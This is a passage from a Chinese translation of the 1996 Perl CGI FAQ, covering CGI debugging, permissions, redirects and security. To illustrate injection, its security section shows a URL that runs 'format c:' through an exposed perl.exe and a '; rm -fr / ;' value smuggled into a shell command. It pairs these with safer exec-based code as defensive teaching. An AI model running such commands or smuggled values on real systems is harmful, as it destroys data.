    1. 要讓這個 regular expression 跨行執行,您必須先將您的 script 由預設的 按行執行模式 (line mode) 改為按段執行模式 (paragraph mode)。您可以在指令 列以:
      perl -00 -we '...'
      
      的方式;或是在 script 中以:
      #!/usr/bin/perl -00
      
      或
      $/ = "";
      
      的方式來設定按段執行模式。
    2. 除非您需要對欲刪除的 HTML 標籤中的內容做進一步的處理或利用,否則本例 中最外圍的一對括弧可去掉。
    $line =~ s/<(([^ >]|\n)*)>//g;
    

    詳細的相關資料,請看 Tom [Christiansen] 的 striphtml 程式, 這個程式同時也收錄在他的tour of perl5 regexps 講義中。


    Q4.7: 要如何知道是誰/哪台機器/哪個瀏覽器執行了我的程式?

    您可以從 HTTP_USER_AGENT 這個環境變數得知使用者所用的瀏覽器。

    【摘自 WWW FAQ】

    您的 CGI script 可以利用五個重要的環境變數來幫忙辨識使用者的身份。

    【摘錄自 WWW FAQ 部份完】


    Q4.8: 人家看得到我的 Perl CGI 程式嗎?如果是這樣的話,那不就讓他們知道我的程式是怎麼運作的了。這是個安全漏洞嗎?我要怎麼把它隱藏起來?

    如果您將您的 server 設成對所有在一個特定目錄(如 cgi-bin)下的檔案,或者 是具有某些副檔名(如 ``.pl''、``.tcl''、``.sh'')的檔案一律都以 CGI 程式看 待,那麼 server 只會執行這些程式。至於使用者是無法看到 script 本身的內容 的。

    但是如果您允許人們看您的 script (譬如把它放到 HTML 文件的根目錄 下),那麼只要是這個程式沒有安全上的漏洞,這並不能算是安全問題。如 果這個程式真的有安全上的破綻而您又允許使用者看這個程式,那麼他們便有機可 乘,進而利用這個弱點。

    【譯者】上面這段原文作者是就遠方的客戶端的使用者而言。和這個主題相關的一 個常問問題是:

    Q: 我的 Perl CGI scripts 必須將權限設為全世界可讀。可是這樣一來,和我同 機器有帳戶的人,只要知道我的程式名稱,就可以瀏覽我的 Perl 程式的內容;尤 其當其中牽涉到密碼的問題時。

    A: 至少有兩個解決方法,一個簡單,一個複雜:

    簡單的方法是,請您的系統管理者(如果不是您自己的話),將您的 CGI scripts 及密碼檔(如果您選擇將密碼存放在另一個檔案中的話)的所有者設成 Web server 跑的使用者(最常見的是使用者 nobody ;使用群 nogroup 或 nobody), 然後將 CGI scripts 的使用權限設定成 550 (-r-xr-x---),密碼檔的權限設成 440 (-r--r-----)。如此一來,一方面您的程式得以執行,而且其他同機器上的 使用者也沒有辦法偷看到您的程式和密碼。

    比較複雜的解決方法是先挑個難破的密碼將整個程式加密起來,然後再使用 Filter::decrypt 這個模組在臨執行前將其解開,在此不多說。有興趣的讀者請看 Filter::decrypt 的使用說明;此外新的 perl FAQ 第三部分中這一段:``How can I hide the source for my Perl program?'' ,大家也可參考。


    Q4.9: 我需要將整個 Perl library 都複製到我的 htdocs 目錄底下嗎?

    不需要。您的 CGI scripts 可以使用 server 和 文件根目錄之外的任何檔案,除 非 server 是在一個 chroot 的環境下執行。


    Q4.10: 我為什麼不該叫使用者輸入他們的密碼或身份證字號或信用卡號碼?有一個 TYPE="password" 不是就是拿來做這個的嗎?

    No! form 的介面中有一個 ``password'' 的欄位,但是您不應該拿它來處 理任何機密性的資料。不該這麼做的原因是因為所有的 form 資料(包括 ``password'' 欄) 都是以純文字形式,而非以加密形式由瀏覽器送至 server。

    如果您想要安全地傳送資料,那麼您需要使用具有安全功能的 server,例如 Netscape 的 Commerce Server*。

    【譯者】Apache SSL ,例如 Stronghold 版,同樣具有這個功能。


    Q4.11: 我要如何產生專門替 Netscape 設計的網頁,以別於世上其他的瀏覽器?

    您可以透過 HTTP_USER_AGENT 這個環境變數在您的 CGI script 中得知是否 Netscape 正在執行您的 script。以下為一例:

    $browser = $ENV{'HTTP_USER_AGENT'};
    
    if ($browser =~ /Mozilla/) {
        #
        # Netscape
        #
    } else {
        #
        # Non Netscape
        #
    }
    


    Q4.12: 為什麼我的 system() 所產生的資料輸出順序不對?

    這是由於標準輸出的產生方式通常是先累積相當的資料再輸出(buffered)。要 讓輸出的資料以正確的順序顯示,您必須藉由 $| 這個變數的設定將 buffering 的 特性關掉。


    Q4.13: 我聽說 Netscape 會支援 Java*。這是不是說我現在得棄 Perl,改 Java 了?是不是該這麼做?

    【譯者】原 FAQ 已有相當一段時間未更新。這句話現在應該改作「Netscape 和 IE 兩大瀏覽器都已支援 Java」。

    不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 端執行,而 Java則是在 client 端執行。有些東西(如動畫)可藉由使用 Java 而得到較好的效 果。但您可繼續使用 perl 來發展 server 端的應用程式。

    如果您需要有關 Java 進一步的資料,底下列了幾個文件您可以去看看*:

    【譯者】後面這兩篇文章對 Java 及這個熱潮作了很嚴厲的批判。本 FAQ 作者 Tom C. 的 Java uber Alles 中的論點主要著重於技術層面。Tom 對 Java 的態度或許代表了不少 Perl 陣營人仕的心聲。


    Q4.14: 我要如何讀取環境變數?為什麼它們有時候會不一樣?

    您可以透過 %ENV 這個關連陣列來讀取環境變數。以下這個簡單的 script 會把所 有的環境變數印出來(排好順序):

    #!/usr/local/bin/perl -w
    
    print "Content-type: text/plain", "\n\n";
    	
    foreach $key (sort keys %ENV) {
        print $key, " = ", $ENV{$key}, "\n";
    }
    
    exit 0;
    

    很不幸的,有些環境變數會被某些瀏覽器忽略掉。譬如,有些瀏覽器就不設定 HTTP_REFERER。


    Q4.15: 為什麼我輸出的資料被攪亂了(如 ``b < a'' 會被破壞掉)?

    如果您送的 MIME 類型是 HTML 的話,您必須 「跳脫」 (escape) 某些符號,如 ``<''、``&anp;'',及 ``>'',否則瀏覽器會以為它是 HTML 【標籤】。

    您必須使用以下格式來跳脫特殊字元:

    &#ASCII 代碼;

    您可以在指令列執行這個簡單的 script,便可得到非字母數字性字元 (non alpha-numeric characters) 所對應的 ASCII 碼:

    #!/usr/local/bin/perl -w
    
    print '請輸入字串: ';
    
    chop($string = <STDIN>);
    $string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge;
    
    print '跳脫過的字串是: ', "$string\n";
    
    exit 0;
    

    Q4.16: 為什麼我的Perl CGI 程式可以由指令列,卻無法從瀏覽器去執行?

    最可能的原因是權限的問題。別忘了,您的 server 可能是以 ``nobody''、 ``www'',或其他權限很低的帳戶身份來執行的。因此,除非它有足夠的權限,否 則是無法執行您的 script 的。


    Q4.17: 為什麼我的 Perl CGI 程式能跑,但是不會把資料寫到檔案中?

    這又是權限在作怪!server 除非有足夠的權限否則是無法將資料寫進某目錄下的 某檔案裡去的。

    您應該養成習慣檢查 open 指令遞回的錯誤狀態 (error status):

    print "Content-type: text/plain\n\n";
    
    .
    .
    .
    
    open(FILE, ">/some/dir/some.file") ||
        print '無法寫進檔案: ', "$!\n";
    
    .
    .
    .
    

    Q4.18: 要如何做一個會維繫狀態,或允許【同一使用者】多次連線的 form?

    您可以用 CGI::MiniSvr 這個 module 來維持【記住】幾次不同的連線之間的狀態資 料。

    或者,您可以製做一系列的動態文件,在彼此之間相互傳遞一個期間代碼(session ID),此代碼可以以詢問 (query)、額外路徑,或隱藏式欄位等形式存在*。

    【譯者】CGI.pm 會替您把這部份(維持狀態)做好 (用上述的原理),故使用 CGI.pm 可自動享受這項功能,不需要自己去做。這又多了一個該使用 CGI.pm 的理由。

    Q4.19: 如果不從瀏覽器去執行我的 CGI 程式,要如何替它除錯?

    CGI 程式不容易除錯。您可以藉著手動設定環境變數來模擬 server:

    setenv HTTP_USER_AGENT "Mozilla/2.0b6"       (csh)
    
    或
    export HTTP_USER_AGENT = "Mozilla/2.0b6"     (ksh, bash)
    
    要模擬 POST 請求,您可以把資料先放進一個檔案裡,然後把它 pipe 到您的程式 去:
    cat data.file | some_program.pl

    或者您可以用 CGI.pm 來幫您除錯。假設您有一個像下面這樣的 script, 它會把所有您傳給它的索引/設定值對應資料 (key/value pairs) 都列印出來。

    #!/usr/local/bin/perl -w
    
    use CGI;
    
    $cgi = new CGI;
    
    print $cgi->header;
    print $cgi->start_html("Simple CGI.pm Program");
    print "<H1>Simple CGI.pm Program</H1>\n";
    print "<HR >";
    print '以下所列的是您傳送的設定值:';
    print $cgi->dump;
    
    exit 0;
    
    這個 script 不會在乎您是透過 GET、POST,或 ISINDEX 請求,或者是由指令列、 標準輸入,或文字檔將資料傳送給它。為了方便除錯,我們就直接從指令列傳一些 資料給它吧:
    % simple.cgi first=shishir last=gundavaram document='CGI\ FAQ'
    
    或
    % simple.cgi "first=shishir&last=gundavaram&document='CGI\ FAQ'"
    
    在第二個例子中,整個字串周圍必須加引號("),否則 shell 看到 ``&'' 這個符 號會誤解。好,接下來是從標準輸入來除錯的方法:
    % simple.cgi
    (waiting for standard input)
    first=shishir
    last=gundavaram
    document=CGI\ FAQ
    ^D
    
    當然,您也可以先用一個檔案來儲存資料,然後再做輸入轉向,像這樣:
    % simple.cgi < form.data

    您也可以用 CGI Lint (即將出版)。它能達到相同的功效。另外,它也能幫忙檢查 有無安全問題,不當使用 open(),以及不正確的 HTTP 標頭等。


    Q4.20: 如果不靠<FORM>標籤,要如何叫出 Perl CGI 程式?

    您可以直接去打開該 CGI 程式的 URL:

    http://some.machine/cgi-bin/your_program.pl

    您也可以在文件中使用連結的方式,例如:

    <A HREF="http://some.machine/cgi-bin/your_program.pl">
    要試試我的CGI程式請在這裡點一下</A>


    Q4.21: 要如何避免旁人不先填欄位就執行我的 form?他們為什麼一直不斷這麼做?

    這些人欄位完全空白就去執行 form 是因為他們把這個 form 的 URL 儲存起來 【儲存到書籤裡面】的關係。當他們下次叫出這個 form 的時候,這個請求就會變成 是一個空的 GET (而非 POST 或填有資料的 GET)。

    您可以先檢查所有欄位中的資料,如果其中有欄位留白的話,您可以送回一個``No Content'' 的狀態屬性*。以下是一例(假設關連陣列 %form 中含有您 form 的資 料):

    【譯者】狀態碼 204 的屬性已由 HTTP 0.9 的 ``No Response'' 變為 HTTP 1.0 和 HTTP 1.1 中的 ``No Content'' 了。
    $error = 0;
    
    foreach $value (values %form) {
         $value =~ s/\s//g;
         $error = 1 unless  $value;
    }
    
    if ($error) {
        print "Content-type: text/plain\n";
        print "Status: 204 No Content\n\n";
        print '除非您的瀏覽器不支援狀態碼 204 ,否則您不該看到這部份' , "\n";
    } else {
        #
        # Process Data Here
        #
    }
    

    Q4.22: 那些server 回應碼 (server response codes)是幹什麼用的?有什麼意義?

    CGI 程式可以傳送 server 然後 server 會把它轉送給瀏覽器。例如: 假設您想送 ``No Content'' (意思是告訴瀏覽器不要再重新下載該網頁),那麼您得送一個 204 的回應碼(見上例)。


    Q4.23: 為什麼 print "Location: http://host/page.html\n" 不 work?又為什麼它只 work 一次,但隨後的轉向就都弄錯了呢?

    CGI 程式只能送一個 Location 標頭。還有,如果您要 server 做轉向的 動作您就不該送 MIME 類別。譬如,以下的例子是錯誤的示範,儘管在有些 servers 上行的通:

    #!/usr/local/bin/perl -w
    
    .
    .
    .
    print "Content-type: text/plain\n"
    print "Location: http://some.machine/some.doc\n\n"";
    

    Q4.24: 要如何讓 server 在每個 HTML 網頁的底部都自動加上一個:「最近更新日期: ...」的告示?或者,是不是只有 SSI 的網頁才能這麼做?CGI 程式的日期要如何取 得?

    如果您是透過 CGI 以動態方式來產生您的文件,那麼要插入一個時間標記非常簡 單。以下是一例(僅適用於 Perl 5):

    $last_updated = localtime;
    print '最近更新日期: ', "$last_updated\n";
    
    或者是:
    require "ctime.pl";
    
    $last_updated = &ctime(time);
    print '最近更新日期: ', "$last_updated\n";
    
    甚至像這樣:
    chop($date = `/usr/local/bin/date`);
    print '最近更新日期: ', "$last_updated\n";
    
    您可以用 SSI 來達到這個效果,像這樣:
    <--#echo var="LAST_MODIFIED"-->


    Q4.25: 什麼樣的場合下以 Perl 寫 CGI 程式會顯得太小題大作,因為用 shell 就可以做到?而什麼樣的場合對 Perl 來說又過於困難?用 C++ 做這類的事不是好得多嗎?那用 C 呢?

    每一個語言都有其長處和短處。相信這句話您聽過很多次了。所以一切全看您要做 的是什麼而定。如果您預期正準備寫的 CGI 程式每個鐘頭會有幾千幾萬人次連去 使用,那麼您應該選用 C 或 C++來寫。如果您求快的話(指發展所花費的時間而言), 那麼 Perl 是正確的選擇!

    一般說來,您應避免用 shell 來做任何形式的 CGI 程式設計,因為 shell 在先 天上容易產生安全問題。


    5.0 - 安全


    Q5.1: 以 Perl 寫成的 CGI 程式是不是不如以 shell 或 C 寫的來得安全?

    這個問題的答案是: CGI 程式先天上就不安全,不管它是用那個語言寫成的*。

    【譯者】WWW 及 CGI 操作安全 FAQ 中問題第 31 對此有深入的探討。


    Q5.2:我該特別留意哪些安全事項?

    絕對不要對 shell 暴露任何 form 資料。底下這幾項通通都是安全漏洞:

    話雖如此,在上面的第二種寫法中,系統安全可藉著改變參數傳送的方式而得以改 善。也就是將參數由字串方式傳送 (shell 會先解譯),改為序列方式傳送。

    system("/usr/ucb/finger", $form_user);

    您同時應該閱讀:


    Q5.3:為什麼大家都說
    http://bigidiot.abuse-me.com/perl.exe?foo.pl
    這樣很危險?會有多糟?

    極度危險! 想想看如果我這麼做會發生什麼事:

    http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c'
    現在您同意了吧?避免這個惡夢發生的方法:

    以下是一例。假設您的 CGI script 叫做 ``sample.pl'' 而您的批次檔叫 ``simple.bat'':

    @echo off
    c:\dos_perl\perl.exe c:\netscape\ns-home\docs\cgi-bin\simple.pl
    
    現在,您可以做:
    <A HREF="/cgi-bin/simple.bat">Click Here</A>


    Q5.4:要如何在程式中安全地使用逆向撇號 (backticks,"`",位於鍵盤左上角)?這麼做:
    @ans = `grep'$user_field' some.file`;
    是不是真的不安全?

    是的! 這非常危險!試想,如果 $user_field 含有這樣的內容會有什麼後 果:

    ; rm -fr / ;
    

    要達到相同的效果,一個比較安全的做法是*:

    if (open GREP, "-|") {
        @ans = <GREP>;
    } else {
        exec("/usr/local/bin/grep", $user_field, "some.file")
            || die "Error exec'ing command", "\n";
    }
    
    close GREP;
    
    【譯者】 如果讀者對以上 open GREP, "-|"部份的句法有疑問,可以 參閱 perlipc manpages 中 Safe Pipe Opens一節的說明。


    Q5.5: /$user_variable/ 這個句法是不是 Perl 5 中的一個安全漏洞?

    不!這不是個安全漏洞。但是如果您用 eval 指令在執行期 (runtime) 去 評估這個敘述,那麼,它會變成一個安全死角。例如這種做法可能很危險:

    foreach $regexp (@all_regexps) {
        eval "foreach (\@data) { push(\@matches, \$_) if m|$regexp|o; }";
    }
    

    This document, and all its parts, are Copyright (c) 1996, Shishir Gundavaram and Tom Christiansen. All rights reservered. Permisson to distribute this collection, in part or full, via electronic means (emailed, posted or archived) or printed copy are granted providing that no charges are involved, reasonable attempt is made to use the most current version, and all credits and copyright notices are retained. Requests for other distribution rights, including incorporation in commercial products, such as books, magazine articles, or CD-ROMs should be made to either of the authors.

    本文件著作權屬於 Shishir Gundavaram 及 Tom Christiansen 所有,Copyright (C) 1996。在不涉及收費營利、儘可能地使用最新版,及所有著作權告示保持完整 的情況下,作者允許任何人透過電子形式(電子郵件、討論群佈告,或存放),或 印表方式對本文件作完整或部份發行。如欲將本文件作其他方式發行,包括將本文 件附加於商業產品,諸如書籍、雜誌文章,或光碟等之中,必須事先對二位作者其 中一人提出請求,以徵得許可授權。

    本中譯版及譯者補充部份著作權屬蕭百齡及兩隻老虎工作室所有,Copyright (C) 1997。本中譯版遵守並使用與上述原文版相同的使用條款發行。

    You are the -th visitors to this page.